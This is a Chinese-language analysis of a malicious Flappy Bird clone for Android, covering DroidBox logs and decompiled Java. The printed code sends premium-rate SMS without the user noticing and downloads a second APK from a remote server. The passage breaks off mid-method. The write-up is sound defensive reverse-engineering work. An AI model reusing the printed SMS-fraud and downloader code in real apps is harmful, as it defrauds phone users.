Flappy Bird是在年初的時候非常火爆的一個小游戲,但是后來作者在2014年2月10日將其在Apple與Google商店下架,因為這游戲太容易讓人上癮了。
這時候就有很多惡意的Flappy Bird軟件在商店上冒出來。
捕獲到一個惡意版本的Flappy Bird可以在用戶沒有察覺的情況下發送短信。
App MD5:6c357ac34d061c97e6237ce9bd1fe003
所使用的工具:
DroidBox 一個動態分析工具,他為我們展示了一個程序運行時具體在做什么 Android Emulator 包含在Android SDK - 用來模擬運行APK文件
dex2jar - 反編譯可執行文件 (.dex/.odex) 輸出 .jar 文件
JD-GUI 顯示 jar 文件java源代碼的GUI工具
本次分析分為兩個部分:
動態分析 靜態分析
在動態分析截斷,我們會讓app在模擬環境中運行,看看他訪問哪些文件和網站,這個是我們在靜態分析中尋找相關代碼的關鍵。
在靜態分析截斷,我們會逆向APK文件出源代碼,這讓我們能從源代碼中找出惡意行為發生的原因。
使用的最主要的工具就是DroidBox。
我在Linux Ubuntu上裝了測試,沒有發現什么問題。
安裝DroidBox之前你需要安裝Python包括pylab跟matplotlib庫。
Python安裝之后需要在http://developer.android.com/sdk/index.html下載安裝Android SDK
在終端下輸入下面兩條命令來導入SDK的路徑,這樣我們在任何目錄可以直接使用SDK相關命令。
#!bash
export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/
下載最新的DroidBox:
#!bash
wget http://droidbox.googlecode.com/files/DroidBox411RC.tar.gz
解壓縮進入目錄:
#!bash
tar -zxvf DroidBox411RC.tar.gz
cd DroidBox411RC
現在我們可以建立一個Android虛擬主機創建一個Android Nexus4的設備運行Android 4.2.1版本。
android
進入DroidBox目錄,運行Android模擬器
#!bash
./startemu.sh <AVD name>
等待啟動完之后,安裝運行Flappy Bird:
#!bash
./droidbox.sh flappy-bird.apk
你將在終端看到:
#!bash
____ __ ____
/\ _`\ __ /\ \/\ _`\
\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \L\ \ ___ __ _
\ \ \ \ \/\`'__\ __`\/\ \ /'_` \ \ _ <' / __`\/\ \/'\
\ \ \_\ \ \ \/\ \L\ \ \ \/\ \L\ \ \ \L\ \ \L\ \/> </
\ \____/\ \_\ \____/\ \_\ \___,_\ \____/ \____//\_/\_\
\/___/ \/_/\/___/ \/_/\/__,_ /\/___/ \/___/ \//\/_/
Waiting for the device...
Installing the application flappy-bird.apk...
Running the component com.hdc.bookmark3934/com.hdc.mlink_x5.MainActivity...
Starting the activity com.hdc.mlink_x5.MainActivity...
Application started
Analyzing the application during infinite time seconds...
[-] Collected 13 sandbox logs (Ctrl-C to view logs)
在虛擬窗口,你應該能看到Flappy Bird的運行,DroidBox也在記錄了Flappy Bird的日志,按 Ctrl-C停止DroidBox然后查看日志。
DroidBox輸出的日志是JSOn格式的,下面是一個其中一些日志:
#!js
{
"apkName": "flappy-bird.apk",
"enfperm": [
],
"recvnet": {
"2.104520797729492": {
"data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343620474d540d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"2.1131179332733154": {
"data": "0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a582d506f77657265642d42793a205048502f352e332e330d0a5365742d436f6f6b69653a205048505345535349443d753272317133646275743568656631616d6f3830626e746172323b20",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"2.1321218013763428": {
"data": "742d456e636f64696e670d0a436f6e74656e742d456e636f64696e673a20677a69700d0a0d0a1f8b08000000000000033337373100004a2f6ff00400000076616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"3.130279779434204": {
"data": "436f6e74726f6c3a206d61782d6167653d3630343830300d0a4163636570742d52616e6765733a2062797465730d0a0d0affd8ffe000104a46494600010101004800480000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f14",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"13.584807872772217": {
"data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353720474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"11.968261957168579": {
"data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"2.8462908267974854": {
"data": "65643a205361742c2030382046656220323031342030323a31323a303020474d540d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a455461673a202235326635393237302d32326433220d0a457870697265733a2053756e2c203233204d",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"2.8404297828674316": {
"data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343720474d540d0a436f6e74656e742d547970653a20696d6167652f6a7065670d0a436f6e7465",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
},
"11.675630807876587": {
"data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353520474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"11.910815000534058": {
"data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"14.005896806716919": {
"data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"13.692770957946777": {
"data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
"host": "210.***.**.196",
"type": "net read",
"port": "80"
},
"2.1189818382263184": {
"data": "20313938312030383a35323a303020474d540d0a43616368652d436f6e74726f6c3a206e6f2d73746f72652c206e6f2d63616368652c206d7573742d726576616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
"host": "210.***.***.195",
"type": "net read",
"port": "80"
}
},
"servicestart": {
},
"sendsms": {
"7.549656867980957": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"type": "sms",
"number": "7740"
},
"10.157855987548828": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"type": "sms",
"number": "7740"
}
},
"cryptousage": {
},
"sendnet": {
"1.6028339862823486": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "16",
"operation": "send",
"data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31",
"destport": "80"
},
"2.5497188568115234": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "19",
"operation": "send",
"data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e",
"destport": "80"
},
"11.307919979095459": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "26",
"operation": "send",
"data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
"destport": "80"
},
"13.101272821426392": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "28",
"operation": "send",
"data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
"destport": "80"
}
},
"accessedfiles": {
"1033683943": "/proc/1188/cmdline",
"1067199142": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
"1325730693": "/proc/1163/cmdline",
"839394932": "/proc/1174/cmdline"
},
"fdaccess": {
"4.386643886566162": {
"path": "/proc/1163/cmdline",
"operation": "read",
"data": "636f6d2e6864632e626f6f6b6d61726b333933340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
"id": "1325730693",
"type": "file read"
},
"4.41674280166626": {
"path": "/proc/1174/cmdline",
"operation": "read",
"data": "6c6f676361740044726f6964426f783a570064616c76696b766d3a570041637469766974794d616e616765723a49000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
"id": "839394932",
"type": "file read"
},
"15.97931981086731": {
"path": "/proc/1188/cmdline",
"operation": "read",
"data": "636f6d2e616e64726f69642e7061636b616765696e7374616c6c6572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
"id": "1033683943",
"type": "file read"
},
"10.113840818405151": {
"path": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
"operation": "write",
"data": "00086d6c696e6b5f7835",
"id": "1067199142",
"type": "file write"
}
},
"dataleaks": {
},
"opennet": {
"1.300102949142456": {
"desthost": "210.***.***.195",
"fd": "16",
"destport": "80"
},
"2.210848808288574": {
"desthost": "210.***.***.195",
"fd": "19",
"destport": "80"
},
"12.578583002090454": {
"desthost": "210.***.**.196",
"fd": "28",
"destport": "80"
},
"10.951124906539917": {
"desthost": "210.***.**.196",
"fd": "26",
"destport": "80"
}
},
"recvsaction": {
"vn.adflex.sdk.AdFlexBootUpReceiver": "android.intent.action.PACKAGE_RESTARTED"
},
"dexclass": {
"0.32921576499938965": {
"path": "/data/app/com.hdc.bookmark3934-1.apk",
"type": "dexload"
},
"15.300875902175903": {
"path": "/system/app/PackageInstaller.apk",
"type": "dexload"
}
},
"hashes": [
"6c357ac34d061c97e6237ce9bd1fe003",
"79e911f1b3c0f1ccd2012832b92fdff548d54b3f",
"5782758e98698dbcfa1821a56d4501c73efeeec7425dd5aa129e386542666cd5"
],
"closenet": {
},
"phonecalls": {
}
}
隱藏了部分敏感信息,日志其中最明顯的是發送了兩條短信。
#!js
"sendsms": {
"7.549656867980957": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"type": "sms",
"number": "7740"
},
"10.157855987548828": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"type": "sms",
"number": "7740"
?把BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934發送到號碼7740那里。
?根據下面的日志可以得出:
#!js
"sendnet": {
"1.6028339862823486": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "16",
"operation": "send",
"data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31",
"destport": "80"
}
該app訪問了210...195這個ip,發送了如下數據:
474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31
數據是16進制編碼的,轉為ASCII:
GET /bookmark/getServiceCode?price=15000 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1
所以這個app訪問URL http://210...195/bookmark/getServiceCode?price=15000,那么返回值是什么呢?返回值為7740,也就是發送短信過去的號碼。
嘗試了一下修改不容的price的值,返回的結果不同:
price=20000 returns 7040
price=30000 returns 7040
price=10000 returns 7640
price=5000 returns 7540
price=1000 returns 7040
根據波蘭網站http://www.ilekosztujesms.pl/07540/顯示,往該號碼發送短信將花費5波蘭羅提(差不多相當于10人民幣)。
還有個奇怪的東西:
#!js
"2.5497188568115234": {
"type": "net write",
"desthost": "210.***.***.195",
"fd": "19",
"operation": "send",
"data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e",
"destport": "80"
}
解碼出來之后看到數據包為:
GET /upload/bookmark/2014/0208/flappy_1.jpg HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.
?這個我們稍后在靜待分析階段分析。
總結:我們現在知道了Flappy Bird連接到哪些網站,給付費號碼發送短信,并且可以根據接口返回不同發向不同的付費號碼。因此可以推測,這個惡意app通過此來賺錢。
但是210.*..196這個IP是做什么的呢?
#!js
"11.307919979095459": {
"type": "net write",
"desthost": "210.***.**.196",
"fd": "26",
"operation": "send",
"data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
"destport": "80"
}
?解碼后顯示訪問地址為
http://210.***.**.196/app/flappy.apk
上面數據表明,改程序正在下載另一個APK:flappy.apk。
或許我們的Flappy Bird只是一個下載者。
這樣我們就知道app做了什么了:
根據這些信息,我們來靜態分析定位其中相關的源代碼。
第一步就是把APK文件反編譯為Java代碼。
開始之前我們來看一下APK文件的解構:
META-INF: 文件夾 lib: 編譯后的代碼目錄 res: APK所需要的資源文件夾 assets: 應用程序資源目錄 AndroidManifest.xml: 一個傳統的Android清單文件,用于描述該應用程序的名字、版本號、所需權限、注冊的服務、鏈接的其他應用程序。 classes.dex: classes文件通過DEX編譯后的文件格式,用于在Dalvik虛擬機上運行的主要代碼部分。 resources.arsc: 預編譯文件
所以我們最感興趣的文件為classes.dex,我們希望把classes.dex文件轉為jar文件,這可以通過dex2jar來完成:
先從http://code.google.com/p/dex2jar/downloads/list下載解壓dex2jar。
#!bash
unzip -x dex2jar-version.zip -d /home/user/dex2jar
一旦解壓之后,就可以使用反編譯APK文件了:
#!bash
sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/flappy-bird.apk
將會生成一個可以使用JD-GUI打開的jar文件。
從http://jd.benow.ca/#jd-gui-downloadenter link description here下載并解壓JD-GUI。
#!bash
tar -zxvf jd-gui-version.linux.i686.tar.gz
運行打開JD-GUI載入Flappy Bird的jar文件,看到內容如下:
尋找左邊的類文件列表,其中有一個在utilities包下的SendSMS類,看起來很像是一個發送短信的類。
SendSMS.class
#!java
package com.hdc.ultilities;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;
import android.widget.Toast;
public class SendSMS
{
public static String address;
public static String dauso_last;
public static String dauso_x;
public static int discount;
public static void send(String paramString1, String paramString2, Context paramContext, String paramString3, int paramInt, String paramString4)
{
address = paramString2.trim();
discount = paramInt;
dauso_x = paramString3;
dauso_last = paramString4;
new Thread(new Runnable(paramContext, paramString1)
{
public void run()
{
try
{
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager localSmsManager = SmsManager.getDefault();
SendSMS.this.registerReceiver(new BroadcastReceiver(SendSMS.this, this.val$data)
{
public void onReceive(Context paramContext, Intent paramIntent)
{
switch (getResultCode())
{
case 0:
case 2:
case 3:
case 4:
default:
case -1:
case 1:
}
do
{
return;
Toast.makeText(this.val$instance, "G?i thành c?ng", 0).show();
Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
return;
SendSMS.discount = -1 + SendSMS.discount;
}
while (SendSMS.discount < 0);
Toast.makeText(this.val$instance, "G?i ko ???c", 0).show();
Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
SendSMS.send(this.val$data, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last, this.val$instance, SendSMS.dauso_x, SendSMS.discount, SendSMS.dauso_last);
}
}
, new IntentFilter("SMS_SENT"));
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
return;
}
catch (Exception localException)
{
localException.printStackTrace();
}
}
}).start();
}
}
下面這段代碼負責發送短信:
#!java
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
這兩段代碼是隱藏短信發送與到達通知:
#!java
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
sendTextMessage方法是Android其中一個API(參閱android.telephony.gsm.SmsManager )。
根據這個,我們可以明確的知道程序發送短信以及隱藏相關操作的代碼。
下一個問題就是,這個短信是什么時候發送的呢,是由用戶觸發的還是其他的呢?
來看一下MainActivity.class文件:
MainActivity.class: Global Variables Snippet
#!bash
public String pop_up1 = "B?ng cách cài ??t và s? d?ng trò ch?i, ph?n m?m này, b?n ???c coi nh? ?? ch?p nh?n các ?i?u kho?n s? d?ng d??i ?ay c?a chúng t?i: \n1. Kh?ng g? b? ho?c v? hi?u hóa b?t k? bi?n pháp b?o v?, quy?n s? h?u hay b?n quy?n có trên ho?c trong trò ch?i, ph?n m?m \n2. Kh?ng t?o ra các b?n sao b?t ch??c các tính n?ng ho?c giao di?n, d? li?u c?a trò ch?i, ph?n m?m này.\n3. Kh?ng s? d?ng trò ch?i, ph?n m?m này làm c?ng c? ?? gay h?i cho nh?ng ng??i dùng khác.\n4. S?n ph?m có phí và b?n c?n thanh toán ?? ti?p t?c s? d?ng sau th?i gian dùng th?.\n5. Phí s? d?ng s?n ph?m t? 15.000 ? ??n 30.000 ?.";
public String pop_up2 = " B?n có mu?n kích ho?t kh?ng?";
這兩個字符串都為越南文,根據google翻譯:
pop_up1:“通過安裝和使用游戲,軟件,你將被視為已接受了我們的使用下面的條款: 不要刪除或禁用任何防護措施,或在游戲中所有權或著作權,軟件。 不要創建重復或模仿界面功能,游戲數據,此軟件。 不要使用游戲,軟件作為一種工具來造成危害其他用戶。 我們的產品是免費的,你需要付費才能繼續試用期后使用。 收費使用的產品從15,000越盾30,000越盾。“ pop_up2:“你想要激活嗎”
這些看起來像標準條款和條件,只是Flappy Bird是一個免費的應用程序,所以不應該花費。有趣的是在15000的花費與上面訪問的URL應該是一樣的:http://210...195/bookmark/getServiceCode?price=15000)。
后來在MainActivity.class文件的initListView中找到產生這些對話伴并隨著一些發送短信動作代碼。下面是從類文件中的代碼摘錄:
MainActivity.class: Code Extract
#!java
while (Service_mLink.number_send == 1)
{
openPop_up(this.pop_up1, Service_mLink.number_send, 1);
this.listView.setOnItemClickListener(new AdapterView.OnItemClickListener()
{
public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong)
{
Integer localInteger = Integer.valueOf(0);
MainActivity.linkInfo = new LinkInfo();
MainActivity.linkInfo = (LinkInfo)Service_mLink.instance.listLinkInfo.get(paramInt);
MainActivity.this.link = MainActivity.linkInfo.getLink();
MainActivity.this.mo = MainActivity.linkInfo.getMo();
MainActivity.this.servicecode = Service_mLink.svcodeActive;
MainActivity.this.servicecode2 = MainActivity.linkInfo.getServicecode2();
if (localInteger.intValue() == 0)
MainActivity.this.isFirstTime = FileManager.loadFtime(MainActivity.this, MainActivity.this.ftime);
while ((MainActivity.this.servicecode.equals("")) && (MainActivity.this.servicecode2.equals("")))
{
Log.e("servicecodeAll", MainActivity.this.servicecode + "sv : sv2" + MainActivity.this.servicecode2);
MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString = new String[2];
arrayOfString[0] = MainActivity.this.link;
arrayOfString[1] = MainActivity.linkInfo.getTitle();
localDownloadFileFromURL.execute(arrayOfString);
return;
Integer.valueOf(1 + localInteger.intValue());
}
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
MainActivity.this.checkSVCode(MainActivity.this.servicecode2);
while (true)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
TextView localTextView = new TextView(MainActivity.this);
localTextView.setText(MainActivity.this.txt_content);
localTextView.setGravity(1);
localTextView.setTextColor(Color.parseColor("#ffffff"));
localBuilder.setView(localTextView);
localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramDialogInterface, int paramInt)
{
if (Service_mLink.instance.isSim)
{
MainActivity.this.checkInternet();
if (MainActivity.this.isConnect)
{
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
try
{
while (true)
{
Toast.makeText(MainActivity.this.getApplicationContext(), "Ca?m ?n ba?n ?a? s?? du?ng di?ch vu?", 1000).show();
Thread.sleep(1000L);
paramDialogInterface.cancel();
MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString = new String[2];
arrayOfString[0] = MainActivity.this.link;
arrayOfString[1] = MainActivity.linkInfo.getTitle();
localDownloadFileFromURL.execute(arrayOfString);
return;
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
}
}
catch (InterruptedException localInterruptedException)
{
while (true)
localInterruptedException.printStackTrace();
}
}
AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
localBuilder.create();
localBuilder.setTitle("Th?ng báo");
localBuilder.setMessage("B?n vui lòng ki?m tra k?t n?i Internet !!!");
localBuilder.show();
return;
}
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
}
});
localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramDialogInterface, int paramInt)
{
paramDialogInterface.cancel();
}
});
localBuilder.show();
return;
MainActivity.this.checkSVCode(MainActivity.this.servicecode);
}
}
});
return;
label249: checkSVCode(Service_mLink.svcodeActive);
}
看起來一旦用戶點擊了“確定”,就將會發送短信,代碼中一共包含兩個
#!java
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
但是第二個是在return的后面,也就意味著不會執行,但是為什么動態分析當中看到了兩次發送短信呢?
上面代碼中的第三行調用了openPop_up
方法,來看看其中的代碼:
MainMethod.class: method openPop_up
#!java
public void openPop_up(String paramString, int paramInt1, int paramInt2)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
View localView = LayoutInflater.from(this).inflate(2130903043, null);
this.tvlaw = ((TextView)localView.findViewById(2131230726));
this.tvlaw.setText(paramString);
this.tvlaw.setTextColor(-1);
if (paramInt2 == 1)
localBuilder.setTitle("?i?u kho?n s? d?ng");
localBuilder.setView(localView);
localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener(paramInt2, paramInt1)
{
public void onClick(DialogInterface paramDialogInterface, int paramInt)
{
if (Service_mLink.instance.isSim)
{
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
{
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
Log.i("i", this.val$i);
if (Service_mLink.instance.listLinkInfo.size() != 1)
break label345;
if ((this.val$number_send == 1) && (this.val$i == 1))
{
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString2 = new String[2];
arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL2.execute(arrayOfString2);
}
if ((this.val$number_send == 2) && (this.val$i == 2))
{
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString1 = new String[2];
arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL1.execute(arrayOfString1);
}
}
while (true)
{
paramDialogInterface.cancel();
return;
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
break;
label345: if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
if ((this.val$number_send != 2) || (this.val$i != 2))
continue;
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
}
}
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
}
});
localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener(paramInt2, paramInt1)
{
public void onClick(DialogInterface paramDialogInterface, int paramInt)
{
if (this.val$i == 1)
try
{
MainActivity.this.auto_sms = DownloadImage.instance.getAuto_sms2(Service_mLink.url_config_auto_sms);
Log.i("auto_sms", MainActivity.this.auto_sms);
if (Service_mLink.instance.isSim)
{
boolean bool = MainActivity.this.auto_sms.equals("1");
int i = 0;
if (bool)
{
if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
{
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
i = 1;
}
}
else
{
Log.i("i", this.val$i);
if (Service_mLink.instance.listLinkInfo.size() != 1)
break label450;
if ((this.val$number_send == 1) && (this.val$i == 1))
{
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString2 = new String[2];
arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL2.execute(arrayOfString2);
}
if ((this.val$number_send == 2) && (this.val$i == 2))
{
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
String[] arrayOfString1 = new String[2];
arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
localDownloadFileFromURL1.execute(arrayOfString1);
}
paramDialogInterface.cancel();
if (i == 0)
{
if (!Service_mLink.link_redirect.equals(""))
MainActivity.this.startWebsite(Service_mLink.link_redirect);
System.exit(1);
}
return;
}
}
}
catch (Exception localException)
{
while (true)
{
MainActivity.this.auto_sms = "0";
continue;
SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
continue;
label450: if ((this.val$number_send == 1) && (this.val$i == 1))
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
if ((this.val$number_send != 2) || (this.val$i != 2))
continue;
FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
}
Toast.makeText(MainActivity.this, "B?n ?? kh?ng có Sim ?i?n tho?i.\n B?n kh?ng th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
return;
}
paramDialogInterface.cancel();
if (!Service_mLink.link_redirect.equals(""))
MainActivity.this.startWebsite(Service_mLink.link_redirect);
System.exit(1);
}
});
localBuilder.show();
}
因此,在創建彈出對話時,該方法觸發了發送短信,這可以解釋為什么我們的動態分析時,發出了兩個短信。
現在還有個問題就是沒有看到短信從哪里發送的,沒有看到短信的號碼,短信內容,以及訪問的URL是在哪里定義的。
在app的源代碼中找到了一些線索,如何解碼一個配置文件內容,特別是一個叫getInfoFromFile方法。
MainActivity.class: getInfoFromFile()
#!java
private void getInfoFromFile()
{
new ArrayList();
ArrayList localArrayList = FileManager.loadfileExternalStorage(this, 2130837505);
try
{
this.strDecode = new String(Base64.decode(((String)localArrayList.get(0)).toString()));
Service_mLink.instance.getCategory(this.strDecode);
